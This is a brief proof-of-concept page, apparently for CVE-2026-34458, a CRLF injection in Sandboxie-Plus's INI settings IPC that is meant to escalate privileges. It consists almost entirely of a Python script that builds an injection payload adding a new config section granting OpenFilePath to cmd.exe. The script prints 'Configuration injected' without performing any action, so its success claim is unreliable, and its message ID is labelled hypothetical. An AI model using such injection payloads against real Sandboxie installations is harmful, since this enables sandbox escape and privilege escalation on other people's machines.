CVE-2026-34458 Sandboxie-Plus INI注入漏洞提权

# Proof of Concept for CVE-2026-34458 # This PoC demonstrates the CRLF injection concept. def exploit_ini_injection(): # Target message ID (Hypothetical based on description) msg_id = "MSGID_SBIE_INI_ADD_SETTING" # Vulnerable parameters: setting name or value # Injecting CRLF to create a new section and bypass restrictions malicious_payload = "UserSettings_Default\r\n[MaliciousSection]\r\nOpenFilePath=cmd.exe" print(f"[*] Sending IPC message: {msg_id}") print(f"[*] Payload: {malicious_payload}") # In a real scenario, this would interact with the Sandboxie service # The service writes the payload to Sandboxie.ini without sanitization # Result: A new section [MaliciousSection] is created with elevated privileges print("[+] Configuration injected. Sandbox escape possible.") if __name__ == "__main__": exploit_ini_injection()